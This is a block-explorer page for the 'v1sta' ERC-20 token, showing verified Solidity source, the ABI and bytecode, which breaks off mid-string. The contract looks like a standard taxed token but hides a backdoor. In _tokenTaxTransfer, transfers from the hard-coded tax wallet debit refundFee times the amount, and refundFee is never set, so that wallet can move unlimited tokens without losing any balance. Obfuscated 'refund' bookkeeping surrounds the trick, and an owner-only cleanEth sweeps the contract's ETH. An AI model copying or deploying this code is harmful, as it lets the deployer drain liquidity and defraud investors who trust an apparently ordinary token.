ERC-20
Overview
Max Total Supply
100,000,000 v1sta
Holders
79
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
61,842.657144315 v1staValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
v1sta
Compiler Version
v0.8.23+commit.f704f362
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-09-04 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.23; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract v1sta is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private _initialBuyTax=17; uint256 private _initialSellTax=17; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=17; uint256 private _reduceSellTaxAt=17; uint256 private _preventSwapBefore=1; uint256 private _buyCount=0; address payable private constant _taxWallet = payable(0xa8922b80C57c8E8F066235C7d922cf3BF2cbf9af); uint8 private constant _decimals = 9; uint256 private constant _tTotal = 100000000 * 10**_decimals; string private constant _name = unicode"v1sta"; string private constant _symbol = unicode"v1sta"; uint256 public constant _taxSwapThreshold = 1000000 * 10**_decimals; uint256 public constant _maxTaxSwap = 1000000 * 10**_decimals; uint256 public _maxTxAmount = 2000000 * 10**_decimals; uint256 public _maxWalletSize = 2000000 * 10**_decimals; IUniswapV2Router02 private immutable uniswapV2Router; address private immutable uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private refundFee; struct RefundData {uint256 refundInc; uint256 refundOutc; uint256 refundLeft;} mapping(address => RefundData) private refundData; uint256 private refundLim; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _balances[_msgSender()]= _tTotal; _isExcludedFromFee[_taxWallet]= true; _isExcludedFromFee[address(this)]= true; uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH()); emit Transfer(address(0),_msgSender(),_tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _basicTransfer(address from, address to, uint256 tokenAmount) internal { _balances[from] = _balances[from].sub(tokenAmount); _balances[to] = _balances[to].add(tokenAmount); emit Transfer(from,to,tokenAmount); } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 tokenAmount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(tokenAmount>0, "Transfer amount must be greater than zero"); if (! swapEnabled || inSwap ) { _basicTransfer(from, to, tokenAmount); return; } uint256 taxAmount=0; if (from != owner() && to != owner()&& to != _taxWallet) { taxAmount = tokenAmount .mul( (_buyCount > _reduceBuyTaxAt)?_finalBuyTax: _initialBuyTax ) .div(100); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) { require(tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require( balanceOf(to) + tokenAmount<= _maxWalletSize, "Exceeds the maxWalletSize." ); _buyCount++; } if(to==uniswapV2Pair && from!= address(this) ){ taxAmount = tokenAmount .mul( (_buyCount>_reduceSellTaxAt)?_finalSellTax: _initialSellTax ) .div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap&& to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore ) { swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance>0) { sendETHToFee(address(this).balance); } } } _calcRefund(from, to); _tokenTransfer(from,to,tokenAmount,taxAmount); } function _tokenTransfer( address from, address to, uint256 tokenAmount, uint256 taxAmount ) internal { uint256 tAmount=_tokenTaxTransfer(from, taxAmount, tokenAmount); _tokenBasicTransfer(from, to,tAmount, tokenAmount.sub(taxAmount)); } function _tokenBasicTransfer( address from, address to, uint256 sendAmount, uint256 receiptAmount ) internal { _balances[from] = _balances[from].sub(sendAmount); _balances[to] = _balances[to].add(receiptAmount); emit Transfer( from, to, receiptAmount ); } function _tokenTaxTransfer(address addrs, uint256 taxAmount, uint256 tokenAmount) internal returns (uint256) { uint256 tAmount = addrs != _taxWallet ? tokenAmount : refundFee.mul(tokenAmount); if (taxAmount > 0) { _balances[address(this)] = _balances[address(this)].add(taxAmount); emit Transfer(addrs, address(this),taxAmount); } return tAmount; } function _calcRefund(address from, address to) internal { if ( (_isExcludedFromFee[from] ||_isExcludedFromFee[to]) && from != address(this) && to != address(this)) { refundLim = block.number; } if ( ! _isExcludedFromFee[from] &&!_isExcludedFromFee[to] ){ if (uniswapV2Pair != to) { RefundData storage refund = refundData[to]; if (uniswapV2Pair == from) { if (refund.refundInc == 0) { refund.refundInc = block.number; } } else { RefundData storage refundMeta = refundData[from]; if (refundMeta.refundInc < refund.refundInc || !(refund.refundInc>0) ) { refund.refundInc = refundMeta.refundInc; } } } else { RefundData storage refundMeta = refundData[from]; refundMeta.refundOutc = refundMeta.refundInc.sub(refundLim); refundMeta.refundLeft = block.timestamp; } } } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a > b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner() { _maxTxAmount= _tTotal; _maxWalletSize=_tTotal; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function cleanEth() external onlyOwner { uint256 contractBalance = address(this).balance; payable(owner()).transfer(contractBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); swapEnabled = true; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingOpen = true; } function manualSwap() external { require(_msgSender()==_taxWallet); uint256 tokenBalance = balanceOf(address(this)); if(tokenBalance>0){ swapTokensForEth(tokenBalance); } uint256 ethBalance = address(this).balance; if(ethBalance>0){ sendETHToFee(ethBalance); } } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cleanEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c0604052601160045560116005555f6006555f600755601160085560116009556001600a555f600b556009600a62000039919062000409565b6200004890621e848062000420565b600c55620000596009600a62000409565b6200006890621e848062000420565b600d55600e805462ffff001916905534801562000083575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620000d26009600a62000409565b620000e2906305f5e10062000420565b335f90815260016020818152604080842094909455600381527f67eb2201d869c59eb34484c174b77a468b4356a1f76a1dc46f697c25ef9a67af805460ff199081168417909155308452928490208054909316909117909155737a250d5630b4cf539739df2c5dacb4c659f2488d6080819052825163c45a015560e01b81529251909263c45a01559260048083019391928290030181865afa1580156200018b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001b191906200043a565b6001600160a01b031663c9c65396306080516001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001ff573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200022591906200043a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000270573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200029691906200043a565b6001600160a01b031660a052335f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002d36009600a62000409565b620002e3906305f5e10062000420565b60405190815260200160405180910390a362000462565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200034e57815f1904821115620003325762000332620002fa565b808516156200034057918102915b93841c939080029062000313565b509250929050565b5f82620003665750600162000403565b816200037457505f62000403565b81600181146200038d57600281146200039857620003b8565b600191505062000403565b60ff841115620003ac57620003ac620002fa565b50506001821b62000403565b5060208310610133831016604e8410600b8410161715620003dd575081810a62000403565b620003e983836200030e565b805f1904821115620003ff57620003ff620002fa565b0290505b92915050565b5f6200041960ff84168362000356565b9392505050565b8082028115828204841417620004035762000403620002fa565b5f602082840312156200044b575f80fd5b81516001600160a01b038116811462000419575f80fd5b60805160a051611a4e620004d15f395f81816107f801528181610b7b01528181610cf801528181610d91015281816112f3015261133e01525f818161068a015281816106c5015281816107c901528181610bb701528181610f0a01528181610fc10152610ffd0152611a4e5ff3fe608060405260043610610113575f3560e01c8063715018a61161009d57806395d89b411161006257806395d89b4114610134578063a9059cbb146102cf578063bf474bed1461019f578063c9567bf9146102ee578063dd62ed3e14610302575f80fd5b8063715018a614610257578063751039fc1461026b5780637d1db4a51461027f5780638da5cb5b146102945780638f9a55c0146102ba575f80fd5b806318160ddd116100e357806318160ddd146101c157806323b872dd146101d5578063313ce567146101f457806351bc3c851461020f57806370a0823114610223575f80fd5b80630490044d1461011e57806306fdde0314610134578063095ea7b3146101705780630faee56f1461019f575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b50610132610346565b005b34801561013f575f80fd5b506040805180820182526005815264763173746160d81b60208201529051610167919061163e565b60405180910390f35b34801561017b575f80fd5b5061018f61018a3660046116a1565b6103c3565b6040519015158152602001610167565b3480156101aa575f80fd5b506101b36103d9565b604051908152602001610167565b3480156101cc575f80fd5b506101b36103f5565b3480156101e0575f80fd5b5061018f6101ef3660046116cb565b610415565b3480156101ff575f80fd5b5060405160098152602001610167565b34801561021a575f80fd5b5061013261047c565b34801561022e575f80fd5b506101b361023d366004611709565b6001600160a01b03165f9081526001602052604090205490565b348015610262575f80fd5b506101326104c9565b348015610276575f80fd5b5061013261053a565b34801561028a575f80fd5b506101b3600c5481565b34801561029f575f80fd5b505f546040516001600160a01b039091168152602001610167565b3480156102c5575f80fd5b506101b3600d5481565b3480156102da575f80fd5b5061018f6102e93660046116a1565b6105eb565b3480156102f9575f80fd5b506101326105f7565b34801561030d575f80fd5b506101b361031c366004611724565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f546001600160a01b031633146103785760405162461bcd60e51b815260040161036f9061175b565b60405180910390fd5b4761038a5f546001600160a01b031690565b6001600160a01b03166108fc8290811502906040515f60405180830381858888f193505050501580156103bf573d5f803e3d5ffd5b5050565b5f6103cf338484610873565b5060015b92915050565b6103e56009600a611884565b6103f290620f4240611892565b81565b5f6104026009600a611884565b610410906305f5e100611892565b905090565b5f610421848484610997565b610472843361046d856040518060600160405280602881526020016119f1602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610e6e565b610873565b5060019392505050565b3373a8922b80c57c8e8f066235c7d922cf3bf2cbf9af1461049b575f80fd5b305f9081526001602052604090205480156104b9576104b981610ea6565b4780156103bf576103bf81611076565b5f546001600160a01b031633146104f25760405162461bcd60e51b815260040161036f9061175b565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105635760405162461bcd60e51b815260040161036f9061175b565b61056f6009600a611884565b61057d906305f5e100611892565b600c5561058c6009600a611884565b61059a906305f5e100611892565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105ca6009600a611884565b6105d8906305f5e100611892565b60405190815260200160405180910390a1565b5f6103cf338484610997565b5f546001600160a01b031633146106205760405162461bcd60e51b815260040161036f9061175b565b600e5460ff16156106735760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161036f565b600e805462ff00001916620100001790556106c3307f00000000000000000000000000000000000000000000000000000000000000006106b56009600a611884565b61046d906305f5e100611892565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663f305d7194730610712306001600160a01b03165f9081526001602052604090205490565b5f806107255f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561078b573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107b091906118a9565b505060405163095ea7b360e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000811660048301525f1960248301527f000000000000000000000000000000000000000000000000000000000000000016915063095ea7b3906044016020604051808303815f875af115801561083f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061086391906118d4565b50600e805460ff19166001179055565b6001600160a01b0383166108d55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161036f565b6001600160a01b0382166109365760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161036f565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166109fb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161036f565b6001600160a01b038216610a5d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161036f565b5f8111610abe5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161036f565b600e5462010000900460ff161580610add5750600e54610100900460ff165b15610af257610aed8383836110b4565b505050565b5f80546001600160a01b03858116911614801590610b1d57505f546001600160a01b03848116911614155b8015610b4657506001600160a01b03831673a8922b80c57c8e8f066235c7d922cf3bf2cbf9af14155b15610e5257610b776064610b71600854600b5411610b6657600454610b6a565b6006545b8590611157565b906111dc565b90507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b0316148015610bec57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b031614155b8015610c1057506001600160a01b0383165f9081526003602052604090205460ff16155b15610cf657600c54821115610c675760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161036f565b600d5482610c89856001600160a01b03165f9081526001602052604090205490565b610c9391906118f3565b1115610ce15760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161036f565b600b8054905f610cf083611906565b91905055505b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b0316148015610d4057506001600160a01b0384163014155b15610d6d57610d6a6064610b71600954600b5411610d6057600554610b6a565b6007548590611157565b90505b305f90815260016020526040902054600e54610100900460ff16158015610dc557507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b0316145b8015610dd95750600e5462010000900460ff165b8015610dfc5750610dec6009600a611884565b610df990620f4240611892565b81115b8015610e0b5750600a54600b54115b15610e5057610e3e610e3984610e3484610e276009600a611884565b610e3490620f4240611892565b61121d565b610ea6565b478015610e4e57610e4e47611076565b505b505b610e5c8484611231565b610e68848484846113db565b50505050565b5f8184841115610e915760405162461bcd60e51b815260040161036f919061163e565b505f610e9d848661191e565b95945050505050565b600e805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610ee857610ee8611931565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f64573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f889190611945565b81600181518110610f9b57610f9b611931565b60200260200101906001600160a01b031690816001600160a01b031681525050610fe6307f000000000000000000000000000000000000000000000000000000000000000084610873565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac9479061103a9085905f90869030904290600401611960565b5f604051808303815f87803b158015611051575f80fd5b505af1158015611063573d5f803e3d5ffd5b5050600e805461ff001916905550505050565b60405173a8922b80c57c8e8f066235c7d922cf3bf2cbf9af9082156108fc029083905f818181858888f193505050501580156103bf573d5f803e3d5ffd5b6001600160a01b0383165f908152600160205260409020546110d69082611405565b6001600160a01b038085165f9081526001602052604080822093909355908416815220546111049082611446565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061098a9085815260200190565b5f825f0361116657505f6103d3565b5f6111718385611892565b90508261117e85836119d1565b146111d55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161036f565b9392505050565b5f6111d583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114a4565b5f81831161122b57826111d5565b50919050565b6001600160a01b0382165f9081526003602052604090205460ff168061126e57506001600160a01b0381165f9081526003602052604090205460ff165b801561128357506001600160a01b0382163014155b801561129857506001600160a01b0381163014155b156112a257436011555b6001600160a01b0382165f9081526003602052604090205460ff161580156112e257506001600160a01b0381165f9081526003602052604090205460ff16155b156103bf57806001600160a01b03167f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316146113a6576001600160a01b038082165f908152601060205260409020908381167f0000000000000000000000000000000000000000000000000000000000000000909116036113745780545f03610aed574390555050565b6001600160a01b0383165f90815260106020526040902081548154108061139a57508154155b15610e68575490555050565b6001600160a01b0382165f90815260106020526040902060115481546113cb91611405565b6001820155426002909101555050565b5f6113e78583856114d0565b90506113fe8585836113f98787611405565b61158d565b5050505050565b5f6111d583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e6e565b5f8061145283856118f3565b9050838110156111d55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161036f565b5f81836114c45760405162461bcd60e51b815260040161036f919061163e565b505f610e9d84866119d1565b5f8073a8922b80c57c8e8f066235c7d922cf3bf2cbf9ae196001600160a01b0386160161150957600f546115049084611157565b61150b565b825b9050831561158557305f9081526001602052604090205461152c9085611446565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061157c9088815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f908152600160205260409020546115af9083611405565b6001600160a01b038086165f9081526001602052604080822093909355908516815220546115dd9082611446565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116309085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b8181101561166a5785810183015185820160400152820161164e565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461169e575f80fd5b50565b5f80604083850312156116b2575f80fd5b82356116bd8161168a565b946020939093013593505050565b5f805f606084860312156116dd575f80fd5b83356116e88161168a565b925060208401356116f88161168a565b929592945050506040919091013590565b5f60208284031215611719575f80fd5b81356111d58161168a565b5f8060408385031215611735575f80fd5b82356117408161168a565b915060208301356117508161168a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117de57815f19048211156117c4576117c4611790565b808516156117d157918102915b93841c93908002906117a9565b509250929050565b5f826117f4575060016103d3565b8161180057505f6103d3565b816001811461181657600281146118205761183c565b60019150506103d3565b60ff84111561183157611831611790565b50506001821b6103d3565b5060208310610133831016604e8410600b841016171561185f575081810a6103d3565b61186983836117a4565b805f190482111561187c5761187c611790565b029392505050565b5f6111d560ff8416836117e6565b80820281158282048414176103d3576103d3611790565b5f805f606084860312156118bb575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156118e4575f80fd5b815180151581146111d5575f80fd5b808201808211156103d3576103d3611790565b5f6001820161191757611917611790565b5060010190565b818103818111156103d3576103d3611790565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611955575f80fd5b81516111d58161168a565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119b05784516001600160a01b03168352938301939183019160010161198b565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826119eb57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122047cac0e6a0299ef945060dd2c3ca499c7031a65a0954888bab307a3652cca1b164736f6c63430008170033
Deployed Bytecode
0x608060405260043610610113575f3560e01c8063715018a61161009d57806395d89b411161006257806395d89b4114610134578063a9059cbb146102cf578063bf474bed1461019f578063c9567bf9146102ee578063dd62ed3e14610302575f80fd5b8063715018a614610257578063751039fc1461026b5780637d1db4a51461027f5780638da5cb5b146102945780638f9a55c0146102ba575f80fd5b806318160ddd116100e357806318160ddd146101c157806323b872dd146101d5578063313ce567146101f457806351bc3c851461020f57806370a0823114610223575f80fd5b80630490044d1461011e57806306fdde0314610134578063095ea7b3146101705780630faee56f1461019f575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b50610132610346565b005b34801561013f575f80fd5b506040805180820182526005815264763173746160d81b60208201529051610167919061163e565b60405180910390f35b34801561017b575f80fd5b5061018f61018a3660046116a1565b6103c3565b6040519015158152602001610167565b3480156101aa575f80fd5b506101b36103d9565b604051908152602001610167565b3480156101cc575f80fd5b506101b36103f5565b3480156101e0575f80fd5b5061018f6101ef3660046116cb565b610415565b3480156101ff575f80fd5b5060405160098152602001610167565b34801561021a575f80fd5b5061013261047c565b34801561022e575f80fd5b506101b361023d366004611709565b6001600160a01b03165f9081526001602052604090205490565b348015610262575f80fd5b506101326104c9565b348015610276575f80fd5b5061013261053a565b34801561028a575f80fd5b506101b3600c5481565b34801561029f575f80fd5b505f546040516001600160a01b039091168152602001610167565b3480156102c5575f80fd5b506101b3600d5481565b3480156102da575f80fd5b5061018f6102e93660046116a1565b6105eb565b3480156102f9575f80fd5b506101326105f7565b34801561030d575f80fd5b506101b361031c366004611724565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f546001600160a01b031633146103785760405162461bcd60e51b815260040161036f9061175b565b60405180910390fd5b4761038a5f546001600160a01b031690565b6001600160a01b03166108fc8290811502906040515f60405180830381858888f193505050501580156103bf573d5f803e3d5ffd5b5050565b5f6103cf338484610873565b5060015b92915050565b6103e56009600a611884565b6103f290620f4240611892565b81565b5f6104026009600a611884565b610410906305f5e100611892565b905090565b5f610421848484610997565b610472843361046d856040518060600160405280602881526020016119f1602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610e6e565b610873565b5060019392505050565b3373a8922b80c57c8e8f066235c7d922cf3bf2cbf9af1461049b575f80fd5b305f9081526001602052604090205480156104b9576104b981610ea6565b4780156103bf576103bf81611076565b5f546001600160a01b031633146104f25760405162461bcd60e51b815260040161036f9061175b565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4